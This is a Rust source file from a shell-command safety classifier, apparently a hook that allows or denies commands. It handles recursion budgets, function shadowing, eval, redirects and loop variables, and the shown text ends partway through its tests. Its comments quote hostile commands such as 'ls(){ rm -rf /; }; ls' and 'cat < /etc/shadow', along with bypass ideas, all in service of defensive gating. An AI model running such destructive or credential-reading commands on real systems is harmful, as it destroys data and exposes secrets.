Skip to main content

safe_chains/cst/
check.rs

1use super::*;
2use crate::handlers;
3use crate::parse::Token;
4use crate::verdict::{SafetyLevel, Verdict};
5
6thread_local! {
7    /// Total (re-)classifications spent on one top-level `command_verdict`. Delegating handlers
8    /// (`fd -x`, `find -exec`, `xargs`, `sudo`) re-enter here on the wrapped command, and a command
9    /// that NESTS them — `fd a b -x fd c d -x …` — branches multiplicatively (one re-check per
10    /// pre-exec base × per nesting level), i.e. exponentially. This monotonic counter caps the total
11    /// so any such blow-up fails CLOSED (Denied) in bounded time instead of hanging the hook. A depth
12    /// cap alone can't help: 3^depth calls explode long before any depth limit bites.
13    static CLASSIFY_WORK: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
14    static CLASSIFY_DEPTH: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
15}
16
17/// Far above any real command's handful of delegations (a `&&` chain of 50 `fd -x`s spends ~100),
18/// far below the exponential explosion. Found by the parse fuzzer (`fd -x fd -x …`). Kept modest so
19/// the worst-case CUTOFF is also cheap in wall-clock terms — each unit is a full re-classification
20/// (parse + dispatch), so a high ceiling would let a crafted command burn hundreds of ms in the hook
21/// (and blow the debug-mode timing of `classifier_terminates_on_adversarial_input`).
22const MAX_CLASSIFY_WORK: u32 = 512;
23
24/// RAII budget guard for the classifier recursion. `enter` resets the budget at the OUTERMOST call
25/// and charges one unit per (re-)entry; `None` means the budget is spent and the caller must fail
26/// closed. Depth is bumped only on a successful enter, so it stays balanced with the `Drop`.
27struct ClassifyGuard;
28
29impl ClassifyGuard {
30    fn enter() -> Option<Self> {
31        if CLASSIFY_DEPTH.with(|d| d.get()) == 0 {
32            CLASSIFY_WORK.with(|w| w.set(0));
33        }
34        let spent = CLASSIFY_WORK.with(|w| {
35            let n = w.get().saturating_add(1);
36            w.set(n);
37            n
38        });
39        if spent > MAX_CLASSIFY_WORK {
40            return None;
41        }
42        CLASSIFY_DEPTH.with(|d| d.set(d.get() + 1));
43        Some(ClassifyGuard)
44    }
45}
46
47impl Drop for ClassifyGuard {
48    fn drop(&mut self) {
49        CLASSIFY_DEPTH.with(|d| d.set(d.get().saturating_sub(1)));
50    }
51}
52
53/// Charge `units` of extra work to the shared per-classification budget; `false` once it is spent
54/// and the caller must fail closed.
55///
56/// Brace expansion charges here so its fan-out draws from the SAME pool as delegation and function
57/// resolution. Otherwise the two caps MULTIPLY rather than add: a word may expand to
58/// `BRACE_EXPANSION_CAP` (256) alternatives and each delegated re-classification re-expands it, so
59/// 512 delegations × 256 words is ~131k word checks — seconds of wall clock from a ~200-byte input
60/// (found by the nightly fuzzer as a timeout). Neither cap is unreasonable alone; only their product
61/// is. Charging fan-out here makes the total additive and keeps the worst case bounded.
62pub(crate) fn charge_classify_work(units: u32) -> bool {
63    CLASSIFY_WORK.with(|w| {
64        let n = w.get().saturating_add(units);
65        w.set(n);
66        n <= MAX_CLASSIFY_WORK
67    })
68}
69
70pub fn command_verdict(input: &str) -> Verdict {
71    let Some(_guard) = ClassifyGuard::enter() else {
72        return Verdict::Denied; // classification budget spent — fail closed
73    };
74    let Some(script) = parse(input) else {
75        return Verdict::Denied;
76    };
77    script_verdict(&script)
78}
79
80pub fn is_safe_command(input: &str) -> bool {
81    command_verdict(input).is_allowed()
82}
83
84thread_local! {
85    /// Functions DEFINED so far in the current classification, so a later call resolves to its body
86    /// (and a definition SHADOWS a same-named built-in — `ls(){ rm -rf /; }; ls` runs rm). Owned
87    /// clones (small); a thread-local can't borrow the CST. Latest definition wins.
88    static FUNCTIONS: std::cell::RefCell<Vec<(String, Script)>> =
89        const { std::cell::RefCell::new(Vec::new()) };
90    /// Names currently being resolved — bounds recursion (direct AND mutual) and total call depth,
91    /// so `f(){ f; }` or a deep chain can't blow the stack; hitting the bound denies (fail-closed).
92    static RESOLVING: std::cell::RefCell<Vec<String>> = const { std::cell::RefCell::new(Vec::new()) };
93}
94
95const MAX_FUNC_DEPTH: usize = 32;
96
97/// The value a `$VAR`/`$1` binds to when the assigned/argument value is UNCERTAIN (a substitution,
98/// an unbound var, a reassignment to same). It looks like a path AND is unpinnable, so `$VAR/x`
99/// fail-closes in both gate layers rather than resolving to a stale or dropped value.
100const UNCERTAIN_VALUE: &str = "/__SAFE_CHAINS_CMDSUB__";
101
102struct FuncScope;
103impl Drop for FuncScope {
104    fn drop(&mut self) {
105        FUNCTIONS.with(|f| {
106            f.borrow_mut().pop();
107        });
108    }
109}
110
111fn define_function(name: String, body: Script) -> FuncScope {
112    FUNCTIONS.with(|f| f.borrow_mut().push((name, body)));
113    FuncScope
114}
115
116fn lookup_function(name: &str) -> Option<Script> {
117    FUNCTIONS.with(|f| f.borrow().iter().rev().find(|(n, _)| n == name).map(|(_, b)| b.clone()))
118}
119
120struct ResolveScope;
121impl Drop for ResolveScope {
122    fn drop(&mut self) {
123        RESOLVING.with(|r| {
124            r.borrow_mut().pop();
125        });
126    }
127}
128
129/// Begin resolving a call to `name`, unless it recurses, exceeds the depth cap, or exhausts the
130/// per-invocation classification budget — then return `None` and the caller treats it as an ordinary
131/// (unknown) command, which denies. The budget is what stops exponential FAN-OUT (`f(){ f2; f2; };
132/// f2(){ f3; f3; }; …`): the depth cap alone bounds a linear chain, but branching multiplies, so each
133/// resolution charges the shared `CLASSIFY_WORK` counter that also caps delegating-handler recursion.
134fn begin_resolving(name: &str) -> Option<ResolveScope> {
135    let over_budget = CLASSIFY_WORK.with(|w| {
136        let n = w.get().saturating_add(1);
137        w.set(n);
138        n > MAX_CLASSIFY_WORK
139    });
140    if over_budget {
141        return None;
142    }
143    RESOLVING.with(|r| {
144        let mut stack = r.borrow_mut();
145        if stack.len() >= MAX_FUNC_DEPTH || stack.iter().any(|n| n == name) {
146            None
147        } else {
148            stack.push(name.to_string());
149            Some(ResolveScope)
150        }
151    })
152}
153
154fn script_verdict(script: &Script) -> Verdict {
155    walk_with_scope(script, |stmt| pipeline_verdict(&stmt.pipeline))
156        .into_iter()
157        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
158}
159
160/// Walk `script`'s statements IN ORDER, running `per_stmt` on each with the accumulated scope
161/// installed, and return the per-statement results.
162///
163/// The scope is: the running `cwd` (HP-19 — a later relative path resolves against a prior `cd`),
164/// plus `VAR=value` bindings and function definitions from EARLIER statements (bash semantics;
165/// released when this returns). Fail-open on cwd: an unresolvable `cd` leaves it unchanged.
166///
167/// Shared by `script_verdict` AND the explainer so both see the SAME scope. This is load-bearing for
168/// security: a definition that shadows a builtin (`ls(){ rm -rf /; }; ls`) must deny in BOTH — if the
169/// per-segment explain classified the `ls` call without the definition in scope, the hook's coverage
170/// fallback (which uses the explainer) would re-allow the very thing the whole-command verdict denied.
171pub(crate) fn walk_with_scope<T>(script: &Script, mut per_stmt: impl FnMut(&Stmt) -> T) -> Vec<T> {
172    let mut running = crate::pathctx::cwd();
173    let mut _vars: Vec<crate::pathctx::VarGuard> = Vec::new();
174    let mut _funcs: Vec<FuncScope> = Vec::new();
175    let mut out = Vec::with_capacity(script.0.len());
176    for stmt in &script.0 {
177        out.push({
178            let _cwd = crate::pathctx::enter_cwd(running.clone());
179            per_stmt(stmt)
180        });
181        let next = cd_target(&stmt.pipeline).and_then(|t| crate::pathctx::join_cwd(running.as_deref(), &t));
182        if next.is_some() {
183            running = next;
184        }
185        for (name, value) in statement_assignments(&stmt.pipeline) {
186            _vars.push(crate::pathctx::enter_var(name, value));
187        }
188        if let [Cmd::FunctionDef { name, body }] = stmt.pipeline.commands.as_slice() {
189            _funcs.push(define_function(name.clone(), body.clone()));
190        }
191    }
192    out
193}
194
195/// The target of a statement-level `cd DIR` (a single simple command named `cd`), for cwd
196/// tracking. `None` for anything else, or `cd` with no plain positional (bare `cd`, `cd -`).
197fn cd_target(pipeline: &Pipeline) -> Option<String> {
198    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
199        return None;
200    };
201    if s.words.first()?.eval() != "cd" {
202        return None;
203    }
204    s.words.iter().skip(1).map(|w| w.eval()).find(|a| !a.starts_with('-'))
205}
206
207/// The variables a `while`/`until` condition of the form `read VAR…` (incl. `IFS= read -r VAR`) binds
208/// from stdin — its non-flag positionals — so the body's `$VAR` can be gated at the pipe's item locus.
209/// Empty for any other condition. (An exotic valued read flag's value may be over-included as a var
210/// name; harmless — it just binds a never-referenced name to the same workspace locus.)
211fn read_loop_vars(cond: &Script) -> Vec<String> {
212    let [stmt] = cond.0.as_slice() else {
213        return Vec::new();
214    };
215    let [Cmd::Simple(s)] = stmt.pipeline.commands.as_slice() else {
216        return Vec::new();
217    };
218    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
219    if words.first().map(String::as_str) != Some("read") {
220        return Vec::new();
221    }
222    words[1..].iter().filter(|w| !w.starts_with('-')).cloned().collect()
223}
224
225/// The persistent bindings a STATEMENT establishes: a pure assignment `VAR=value` (a simple command
226/// with env and NO words). A prefix `VAR=x cmd` is excluded — per bash it doesn't persist and
227/// doesn't even affect `$VAR` in `cmd`'s own args. Each value is resolved against the bindings so far
228/// (so `B=$A/x` chains); a CERTAIN literal binds verbatim, an uncertain one binds the sentinel.
229fn statement_assignments(pipeline: &Pipeline) -> Vec<(String, String)> {
230    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
231        return Vec::new();
232    };
233    if !s.words.is_empty() {
234        return Vec::new();
235    }
236    s.env.iter().map(|(name, value)| (name.clone(), certain_value(value))).collect()
237}
238
239/// A word's CERTAIN literal value for binding, or the unpinnable sentinel when uncertain. Resolves
240/// `$refs` against the current scope first, then requires no residual `$` and no substitution
241/// sentinel — a substitution (`$(…)`), an unbound var, or a reassignment-to-uncertain all fail here.
242fn certain_value(word: &Word) -> String {
243    let raw = crate::pathctx::expand_vars(&word.eval(), false).into_owned();
244    if raw.contains('$') || raw.contains("__SAFE_CHAINS_") {
245        UNCERTAIN_VALUE.to_string()
246    } else {
247        raw
248    }
249}
250
251#[cfg(test)]
252pub(crate) fn is_safe_script(script: &Script) -> bool {
253    script_verdict(script).is_allowed()
254}
255
256pub(crate) fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
257    let mut acc = Verdict::Allowed(SafetyLevel::Inert);
258    // The representative path-locus of the CURRENT stream (the previous stage's stdout), threaded so
259    // a line-preserving filter carries the producer's locus THROUGH it: in `find ./src | head | xargs
260    // cat`, `head`'s output items are still `find`'s worktree paths, so `xargs` gates them there
261    // instead of worst-casing. In `A | xargs CMD`, xargs injects A's items as CMD's operands (the
262    // same idea as `find -exec`'s `{}` binding, sourced from the pipe).
263    let mut stream: Option<String> = None;
264    for cmd in &pipeline.commands {
265        let _stdin = stream.clone().map(crate::pathctx::enter_stdin_repr);
266        acc = acc.combine(cmd_verdict(cmd));
267        stream = Some(stage_output_repr(cmd, stream.as_deref()));
268    }
269    acc
270}
271
272/// The sentinel operand fed to an injecting consumer when the source is unknown/unmodeled. The
273/// leading `/` makes it LOOK like a path (so `pathgate`-gated readers like `od` gate it) and the
274/// cmdsub marker makes it unpinnable (so engine-resolved readers like `cat` worst-case it) — it
275/// must deny in BOTH gate layers.
276const UNKNOWN_ITEM: &str = "/__SAFE_CHAINS_CMDSUB__";
277
278/// A representative PATH for the items `cmd` emits on stdout given the stream repr it RECEIVED
279/// (`input`), used to gate an operand-injecting consumer downstream (`… | xargs cat`). A PRODUCER
280/// that provably emits workspace-bounded paths yields a worktree representative; a line-preserving
281/// FILTER carries `input` through unchanged; everything else worst-cases to `UNKNOWN_ITEM`.
282fn stage_output_repr(cmd: &Cmd, input: Option<&str>) -> String {
283    let Cmd::Simple(s) = cmd else {
284        return UNKNOWN_ITEM.to_string();
285    };
286    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
287    let Some(first) = words.first() else {
288        return UNKNOWN_ITEM.to_string();
289    };
290    let name = Token::from_raw(first.clone()).command_name().to_string();
291    let args: Vec<&str> = words[1..].iter().map(String::as_str).collect();
292    let through = || input.unwrap_or(UNKNOWN_ITEM).to_string();
293    match name.as_str() {
294        // find/fd emit paths UNDER their roots — the child of the worst root carries its locus.
295        "find" | "fd" | "fdfind" => {
296            let roots = find_roots(&args);
297            let base = roots.iter().find(|r| !source_ok(r)).copied().unwrap_or(".");
298            format!("{}/sc_item", base.trim_end_matches('/'))
299        }
300        // ls emits cwd-relative BASENAMES (worktree) unless `-d` echoes its (possibly absolute) args.
301        "ls" => {
302            if args.contains(&"-d") {
303                worst_arg_repr(&args)
304            } else {
305                "sc_item".to_string()
306            }
307        }
308        // echo/printf emit their args verbatim; the worst-locus arg is the representative.
309        "echo" | "printf" => worst_arg_repr(&args),
310        // git path-listers emit repo-relative paths (worktree, assuming the repo is the workspace).
311        "git" => match args.first() {
312            Some(&"ls-files") | Some(&"diff") | Some(&"status") | Some(&"grep") => "sc_item".to_string(),
313            _ => UNKNOWN_ITEM.to_string(),
314        },
315        // Line-preserving FILTERS: each output line is a WHOLE, unchanged input line, so the stream's
316        // item locus is unchanged — carry `input` through. Only when reading stdin (no file operand)
317        // and not byte-slicing (`head -c`, which can split a path); NOT `grep -o`/`sed`/`awk`/`cut`/`tr`
318        // (they can rewrite a line to ANY path — treating those as passthrough would be a bypass).
319        "sort" | "uniq" | "cat" | "tac" if !reads_a_file(&args) => through(),
320        "head" | "tail"
321            if !reads_a_file_after_count(&args)
322                && !args.iter().any(|a| *a == "-c" || a.starts_with("--bytes")) =>
323        {
324            through()
325        }
326        // tee always forwards stdin→stdout (its file args are extra WRITES, gated elsewhere).
327        "tee" => through(),
328        _ => UNKNOWN_ITEM.to_string(),
329    }
330}
331
332/// Whether a filter reads a FILE rather than stdin (so it is NOT a stdin passthrough): a
333/// positional operand, or `sort`'s `--files0-from=F` / `--files0-from F`, which redirects it to
334/// emit the CONTENTS of the files listed in `F` — arbitrary file-derived output, not the piped
335/// stream. A lone `-` (explicit stdin) doesn't count. The `=`-glued flag form is a single token
336/// starting with `-`, so it must be matched explicitly or it would masquerade as a passthrough.
337fn reads_a_file(args: &[&str]) -> bool {
338    args.iter().any(|a| {
339        (!a.starts_with('-') && *a != "-")
340            || *a == "--files0-from"
341            || a.starts_with("--files0-from=")
342    })
343}
344
345/// Like `reads_a_file`, but skips the VALUE of `head`/`tail`'s count flags (`-n N`, `-c N`) so
346/// `head -n 5` (stdin) isn't mistaken for reading a file named `5`.
347fn reads_a_file_after_count(args: &[&str]) -> bool {
348    let mut i = 0;
349    while i < args.len() {
350        let a = args[i];
351        if matches!(a, "-n" | "-c" | "--lines" | "--bytes") {
352            i += 2; // flag + its value
353            continue;
354        }
355        if a.starts_with('-') || a == "-" {
356            i += 1;
357            continue;
358        }
359        return true; // a bare positional → a file operand
360    }
361    false
362}
363
364/// Whether reading `path` is admitted — i.e. it is a workspace-bounded source (worktree, `/tmp`,
365/// a granted dir), so paths derived from it are safe operands.
366fn source_ok(path: &str) -> bool {
367    crate::engine::resolve::read_content_verdict(path).is_allowed()
368}
369
370/// The worst-locus non-flag arg (for `echo`/`printf`, which emit args verbatim): the first arg
371/// whose read is denied, else a worktree placeholder.
372fn worst_arg_repr(args: &[&str]) -> String {
373    args.iter()
374        .filter(|a| !a.starts_with('-'))
375        .find(|a| !source_ok(a))
376        .map_or_else(|| "sc_item".to_string(), |a| (*a).to_string())
377}
378
379/// `find`'s root operands: after any leading global options (`-H`/`-L`/`-P`, `-D`/`-O V`), the
380/// positional args up to the first predicate (`-name`, `(`, `!`, …). Defaults to `.` (cwd).
381fn find_roots<'a>(args: &[&'a str]) -> Vec<&'a str> {
382    let mut i = 0;
383    while i < args.len() {
384        match args[i] {
385            "-H" | "-L" | "-P" => i += 1,
386            "-D" | "-O" => i += 2,
387            _ => break,
388        }
389    }
390    let mut roots = Vec::new();
391    while i < args.len() && !args[i].starts_with('-') && !matches!(args[i], "(" | "!" | ")" | ",") {
392        roots.push(args[i]);
393        i += 1;
394    }
395    if roots.is_empty() {
396        roots.push(".");
397    }
398    roots
399}
400
401pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
402    pipeline_verdict(pipeline).is_allowed()
403}
404
405pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
406    match cmd {
407        Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
408        _ => true,
409    }
410}
411
412fn has_any_substitution(cmd: &SimpleCmd) -> bool {
413    cmd.words.iter().any(has_substitution)
414        || cmd.env.iter().any(|(_, v)| has_substitution(v))
415}
416
417pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> String {
418    cmd.words.iter().map(|w| w.eval()).collect::<Vec<_>>().join(" ")
419}
420
421pub(crate) fn cmd_verdict(cmd: &Cmd) -> Verdict {
422    match cmd {
423        Cmd::Simple(s) => simple_verdict(s),
424        Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
425            let body_v = script_verdict(body);
426            if let Verdict::Denied = body_v {
427                return Verdict::Denied;
428            }
429            let redir_v = redirect_verdict(redirs);
430            if let Verdict::Denied = redir_v {
431                return Verdict::Denied;
432            }
433            body_v.combine(redir_v)
434        }
435        Cmd::For { var, items, body, redirs } => {
436            let redir_v = redirect_verdict(redirs);
437            if let Verdict::Denied = redir_v {
438                return Verdict::Denied;
439            }
440            // Bind `$var` in the body to the loop list's locus (the `find … {}`→path binding,
441            // one layer up), so `for f in *.txt; do cat $f` reads the worktree instead of
442            // fail-closing on the bare `$f`.
443            let item_strs: Vec<String> = items.iter().map(Word::eval).collect();
444            let body_v = match crate::engine::resolve::loop_reprs(&item_strs) {
445                Some((read_repr, write_repr)) => {
446                    let _g = crate::pathctx::enter_loop_var(var.clone(), read_repr, write_repr);
447                    script_verdict(body)
448                }
449                None => script_verdict(body),
450            };
451            words_sub_verdict(items).combine(body_v).combine(redir_v)
452        }
453        Cmd::While { cond, body, redirs } | Cmd::Until { cond, body, redirs } => {
454            let redir_v = redirect_verdict(redirs);
455            if let Verdict::Denied = redir_v {
456                return Verdict::Denied;
457            }
458            let cond_v = script_verdict(cond);
459            // `while read VAR; do … "$VAR" …` — bind each read var to the piped stdin's item locus,
460            // exactly as the `for`-loop binds its list var, so `find ./src | while read f; do cat "$f"`
461            // reads the worktree instead of fail-closing on the bare `$f`. Only when a modeled source
462            // set the stdin repr; otherwise the vars stay unbound (fail-closed).
463            let _binds: Vec<crate::pathctx::LoopGuard> = match crate::pathctx::stdin_item_repr() {
464                Some(repr) => read_loop_vars(cond)
465                    .into_iter()
466                    .map(|v| crate::pathctx::enter_loop_var(v, repr.clone(), repr.clone()))
467                    .collect(),
468                None => Vec::new(),
469            };
470            cond_v.combine(script_verdict(body)).combine(redir_v)
471        }
472        Cmd::If {
473            branches,
474            else_body,
475            redirs,
476        } => {
477            let redir_v = redirect_verdict(redirs);
478            if let Verdict::Denied = redir_v {
479                return Verdict::Denied;
480            }
481            let mut v = redir_v;
482            for b in branches {
483                v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
484            }
485            if let Some(eb) = else_body {
486                v = v.combine(script_verdict(eb));
487            }
488            v
489        }
490        Cmd::DoubleBracket { words, redirs } => {
491            words_sub_verdict(words).combine(redirect_verdict(redirs))
492        }
493        // Defining a function has NO effect — Inert regardless of the body. The body's safety is
494        // evaluated only when the function is CALLED (resolved in `simple_verdict`), so an UNCALLED
495        // definition never denies on its body.
496        Cmd::FunctionDef { .. } => Verdict::Allowed(SafetyLevel::Inert),
497    }
498}
499
500pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
501    cmd_verdict(cmd).is_allowed()
502}
503
504fn part_sub_verdict(part: &WordPart) -> Verdict {
505    match part {
506        WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
507        WordPart::Backtick(raw) => command_verdict(raw),
508        WordPart::DQuote(inner) => word_sub_verdict(inner),
509        _ => Verdict::Allowed(SafetyLevel::Inert),
510    }
511}
512
513fn word_sub_verdict(word: &Word) -> Verdict {
514    word.0.iter()
515        .map(part_sub_verdict)
516        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
517}
518
519fn words_sub_verdict(words: &[Word]) -> Verdict {
520    words.iter()
521        .map(word_sub_verdict)
522        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
523}
524
525#[cfg(test)]
526pub(crate) fn word_subs_safe(word: &Word) -> bool {
527    word_sub_verdict(word).is_allowed()
528}
529
530fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
531    let redir_v = redirect_verdict(&cmd.redirs);
532    if let Verdict::Denied = redir_v {
533        return Verdict::Denied;
534    }
535
536    let env_sub_v = cmd.env.iter()
537        .map(|(_, v)| word_sub_verdict(v))
538        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
539    let word_sub_v = words_sub_verdict(&cmd.words);
540    let sub_v = env_sub_v.combine(word_sub_v);
541
542    if let Verdict::Denied = sub_v {
543        return Verdict::Denied;
544    }
545
546    if cmd.words.is_empty() {
547        if cmd.env.is_empty() {
548            return Verdict::Allowed(SafetyLevel::Inert);
549        }
550        return sub_v.combine(redir_v);
551    }
552
553    let name = cmd.words[0].eval();
554
555    // Function CALL: a user function SHADOWS everything it names, INCLUDING builtins like `eval`
556    // (`eval(){ rm -rf /; }; eval "echo hi"` runs the function, not eval) — so resolve a defined name
557    // FIRST, before the eval special-case and the leaf dispatch. Classify its BODY with $1..$N bound
558    // to the call's args (certain literals; uncertain → unpinnable). The shadow is UNCONDITIONAL: if
559    // resolution is blocked (recursion / depth / budget) we FAIL CLOSED, never fall through to the
560    // real command — otherwise `…512 calls…; ls(){ rm -rf /; }; ls` would exhaust the budget and then
561    // run the real `ls` for the rebound name, a bypass.
562    if let Some(body) = lookup_function(&name) {
563        let Some(_resolving) = begin_resolving(&name) else {
564            return Verdict::Denied;
565        };
566        let _args: Vec<crate::pathctx::VarGuard> = cmd.words[1..]
567            .iter()
568            .enumerate()
569            .map(|(i, w)| crate::pathctx::enter_var((i + 1).to_string(), certain_value(w)))
570            .collect();
571        return sub_v.combine(script_verdict(&body)).combine(redir_v);
572    }
573
574    if name == "eval" {
575        return eval_verdict(cmd).combine(sub_v).combine(redir_v);
576    }
577
578    // Brace-expand each word (`cat {/etc/shadow,x}` → two operands) so every alternative bash
579    // would run is classified — a braced word must not hide a system path from the gate.
580    let tokens: Vec<Token> =
581        cmd.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
582    if tokens.is_empty() {
583        return Verdict::Allowed(SafetyLevel::Inert);
584    }
585
586    let cmd_v = leaf_verdict(&tokens);
587    sub_v.combine(cmd_v).combine(redir_v)
588}
589
590/// The command leaf's verdict. The behavioral-capability engine is authoritative for every
591/// command it can resolve; the legacy classifier handles the rest (`…-engine` §4). There is
592/// no opt-out — the engine is the default and only path.
593fn leaf_verdict(tokens: &[Token]) -> Verdict {
594    let legacy = handlers::dispatch(tokens);
595    crate::engine::bridge::engine_verdict(tokens).unwrap_or(legacy)
596}
597
598fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
599    if cmd.words.len() < 2 {
600        return Verdict::Denied;
601    }
602    for arg in &cmd.words[1..] {
603        if !arg_is_eval_safe(arg) {
604            return Verdict::Denied;
605        }
606    }
607    Verdict::Allowed(SafetyLevel::Inert)
608}
609
610fn arg_is_eval_safe(word: &Word) -> bool {
611    let mut found_safe = false;
612    for part in &word.0 {
613        match part {
614            WordPart::Lit(s) | WordPart::SQuote(s) => {
615                if !s.chars().all(char::is_whitespace) {
616                    return false;
617                }
618            }
619            WordPart::Escape(c) => {
620                if !c.is_whitespace() {
621                    return false;
622                }
623            }
624            WordPart::CmdSub(script) => {
625                if !script_yields_eval_safe(script) {
626                    return false;
627                }
628                found_safe = true;
629            }
630            WordPart::Backtick(raw) => {
631                let Some(script) = parse(raw) else {
632                    return false;
633                };
634                if !script_yields_eval_safe(&script) {
635                    return false;
636                }
637                found_safe = true;
638            }
639            WordPart::DQuote(inner) => {
640                if !arg_is_eval_safe(inner) {
641                    return false;
642                }
643                if has_substitution(inner) {
644                    found_safe = true;
645                }
646            }
647            WordPart::ProcSub(_) | WordPart::Arith(_) => return false,
648        }
649    }
650    found_safe
651}
652
653fn script_yields_eval_safe(script: &Script) -> bool {
654    if script.0.len() != 1 {
655        return false;
656    }
657    let stmt = &script.0[0];
658    if !matches!(stmt.op, None | Some(ListOp::Semi)) {
659        return false;
660    }
661    let pipeline = &stmt.pipeline;
662    if pipeline.bang || pipeline.commands.len() != 1 {
663        return false;
664    }
665    let Cmd::Simple(s) = &pipeline.commands[0] else {
666        return false;
667    };
668    if !s.env.is_empty() {
669        return false;
670    }
671    // A redirect inside the substitution is allowed only if it's inert:
672    // stderr suppression (`2>/dev/null`), an fd dup (`2>&1`), or `/dev/null`.
673    // A redirect that writes a real file is SafeWrite, not inert, so
674    // `mise activate bash > evil` is rejected — eval-safe must not gain a
675    // file-write side effect, and diverting stdout to a file is pointless here.
676    if redirect_verdict(&s.redirs) != Verdict::Allowed(SafetyLevel::Inert) {
677        return false;
678    }
679    for w in &s.words {
680        if !word_is_plain_literal(w) {
681            return false;
682        }
683    }
684    let tokens: Vec<Token> =
685        s.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
686    if tokens.is_empty() {
687        return false;
688    }
689    crate::registry::is_eval_safe_invocation(&tokens)
690}
691
692/// True iff every character of `word` is drawn from the bare-literal
693/// alphabet: ASCII alphanumerics plus `_`, `-`, `.`, `/`, `=`. Words
694/// matching this shape consist entirely of identifier-style or
695/// path-style tokens that the shell will pass through to the
696/// substituted command unchanged at runtime.
697///
698/// Required for words inside eval-safe substitutions because the
699/// "stdout is shell-init code" trust depends on the contributor having
700/// vetted what gets passed to the tool. Restricting the alphabet to
701/// chars with no shell-expansion semantics keeps the substituted
702/// invocation static across parse-time and runtime — what you see in
703/// the source is what the tool receives.
704fn word_is_plain_literal(word: &Word) -> bool {
705    word.0.iter().all(part_is_plain_literal)
706}
707
708fn part_is_plain_literal(part: &WordPart) -> bool {
709    match part {
710        WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
711        WordPart::Escape(c) => is_bare_literal_char(*c),
712        WordPart::DQuote(inner) => word_is_plain_literal(inner),
713        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => false,
714    }
715}
716
717/// Bare-literal alphabet: ASCII alphanumerics plus a tight punctuation
718/// set covering identifiers (`_`, `-`), versions / paths (`.`, `/`),
719/// and the long-flag value form (`=`). New chars require an explicit
720/// eval-safe use case — add by extending this match, never by
721/// excluding individual hostile chars.
722fn is_bare_literal_char(c: char) -> bool {
723    c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
724}
725
726pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
727    redirs.iter().all(|r| match r {
728        Redir::Write { target, .. } => target.eval() == "/dev/null",
729        Redir::Read { .. }
730        | Redir::HereStr(_)
731        | Redir::HereDoc { .. }
732        | Redir::DupFd { .. } => true,
733    })
734}
735
736/// Whether a redirect *write* target is one we can auto-approve. Delegates to the SAME location
737/// model + user grants the engine's file writers (`cp`/`mv`/`tee`/…) use, so a `> ~/file` honors
738/// a home grant exactly like `cp ./a ~/file`; `/tmp` and `/dev/stdout` stay writable; and
739/// `.git`/`.envrc`, home, absolute system paths, `..` escapes, and `$`-unpinnable targets stay
740/// frozen (a redirect there can plant a git hook, an SSH key, or a direnv script that runs
741/// later). Relative targets resolve against the harness cwd/root inside `write_target_verdict`.
742fn is_safe_write_target(path: &str) -> bool {
743    crate::engine::resolve::write_target_verdict(path).is_allowed()
744}
745
746pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
747    let mut level = Verdict::Allowed(SafetyLevel::Inert);
748    for r in redirs {
749        match r {
750            Redir::Write { target, .. } => {
751                level = level.combine(word_sub_verdict(target));
752                let t = target.eval();
753                if t == "/dev/null" {
754                    // Inert: no side effect, no promotion.
755                } else if is_safe_write_target(&t) {
756                    level = level.combine(Verdict::Allowed(SafetyLevel::SafeWrite));
757                } else {
758                    level = level.combine(Verdict::Denied);
759                }
760            }
761            Redir::Read { target, .. } => {
762                level = level.combine(word_sub_verdict(target));
763                // Gate the SOURCE by its read locus, like an operand read: `cat < /etc/shadow`
764                // must deny just as `cat /etc/shadow` does. A substitution-derived source names
765                // an unknowable file → fail-closed to Denied.
766                if has_substitution(target) {
767                    level = level.combine(Verdict::Denied);
768                } else {
769                    level = level.combine(crate::engine::resolve::read_content_verdict(&target.eval()));
770                }
771            }
772            Redir::HereStr(word) => {
773                level = level.combine(word_sub_verdict(word));
774            }
775            Redir::HereDoc { .. } | Redir::DupFd { .. } => {}
776        }
777    }
778    level
779}
780
781fn has_substitution(word: &Word) -> bool {
782    word.0.iter().any(|p| match p {
783        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
784        WordPart::DQuote(inner) => has_substitution(inner),
785        _ => false,
786    })
787}
788
789#[cfg(test)]
790mod tests {
791    use super::*;
792
793    fn check(cmd: &str) -> bool {
794        is_safe_command(cmd)
795    }
796
797    #[test]
798    fn loop_variable_inherits_the_list_locus() {
799        // A worktree `in`-list → the body reads/writes the worktree → allowed. The bare `$f`
800        // used to fail-closed to machine; now it binds to the list, like find's `{}`→path.
801        for cmd in [
802            "for f in *.txt; do cat $f; done",
803            "for f in *.txt; do rm $f; done",
804            "for f in src/*.rs; do grep foo $f; done",
805            "for f in *.log; do sed -i s/a/b/ $f; done",
806            "for f in a b c; do cat $f.bak; done",
807            "for x in 1 2 3; do rm $x; done",
808            "for d in a b; do for f in $d/x; do cat $f; done; done", // nested loops compose
809        ] {
